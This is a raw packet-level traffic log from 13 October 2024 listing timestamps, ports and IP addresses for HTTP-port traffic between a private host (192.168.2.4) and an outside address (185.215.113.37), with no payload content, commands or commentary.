Oct 13, 2024 06:54:09.006198883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006198883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006198883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006198883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006198883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006198883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006208897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006242990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006275892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006306887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006567955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006567955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006567955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006567955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006567955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039355040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039422989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039452076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039473057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039479971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039524078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039556980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039572954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039572954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039607048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039613008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039640903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039691925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039738894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039787054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039819956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039843082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039843082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039843082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039843082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039843082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039875031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039875031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039910078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039944887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039973021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.039978027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039978027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.039997101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.040009975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.040044069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.040076017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.040107012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.040127039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.040127039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.040127039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.040127039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.040138960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.040170908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.040216923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.040249109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.040322065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.040322065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.040322065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.040323019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.040323019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.427295923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.427297115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.432241917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.432256937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.432269096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.432291031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.432302952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:10.153793097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:10.153898001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:10.245767117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:10.245852947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:10.250629902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:10.250644922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:10.250744104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:10.988111973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:10.988325119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:11.043288946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:11.048162937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:11.783097982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:11.783168077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:12.150110006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:12.154948950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:12.867460966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:12.867846966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.180174112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.185017109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399638891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399672985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399708986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399709940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.399728060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.399748087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399800062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399832964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399863958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399897099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399928093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.399947882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.399947882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.399947882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.399947882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.399947882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.399947882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.399960995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.400001049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.400033951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.400099993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.400099993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.400099993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.400099993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524378061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524463892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524486065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524537086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524540901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524594069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524614096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524631023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524652958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524666071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524712086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524717093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524734020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524750948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524764061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524782896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524817944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524849892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524873972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524873972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524883986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524883986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524908066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524916887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524925947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.524952888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.524986029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525010109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525010109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525021076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525023937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525055885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525161982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525161982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525516987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525567055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525593042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525600910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525616884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525634050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525667906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525672913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525672913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525707006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525727034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525742054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.525770903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.525780916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.648524046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648580074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648614883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648665905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648715973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648763895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.648763895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.648763895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.648766041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648763895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.648822069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648873091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648905039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648942947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648974895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.648974895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.648974895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.648974895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.648974895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649000883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649014950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649025917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649045944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649079084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649091005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649091005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649121046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649147034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649151087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649172068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649204016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649254084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649266005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649266005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649305105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649338961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649370909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649379015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649379015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649379015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649422884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649455070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649475098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649476051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649487019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649507046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649543047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649576902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649609089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649641037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649672985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649691105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649691105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649691105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649691105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649691105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649708033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649736881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649770975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649802923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649830103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649835110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649835110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649835110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649835110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649847984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.649883032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649933100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649961948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.649992943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650026083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650038958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650038958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650038958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650038958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650038958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650057077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650090933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650122881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650156021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650173903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650173903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650173903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650173903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650183916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650217056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650249004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650280952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650314093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650345087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650358915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650360107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650360107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650360107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650360107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650360107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650381088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650418997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650453091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.650547981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650547981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650547981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.650547981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773370981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773428917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773464918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773499012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773533106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773545027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773545027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773545027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773567915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773567915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773581982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773621082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773623943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773658991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773694038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773730040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773763895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.773778915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773778915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773778915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773778915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.773868084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774358988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774414062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774418116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774466991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774519920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774570942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774616003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774616003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774616003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774616003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774624109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774658918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774677992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774693966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774709940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774744987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774779081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774810076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774843931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774878025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774909973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774935007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774935007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774935007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774935007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774935007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774935007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.774946928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.774981022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775016069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775054932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775054932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775054932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775063992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775314093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775365114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775368929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775422096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775437117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775490999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775520086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775523901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775577068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775583029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775583029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775626898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775652885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775680065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775692940 CEST	49730	80	192.168.2.4	185.215.113.37
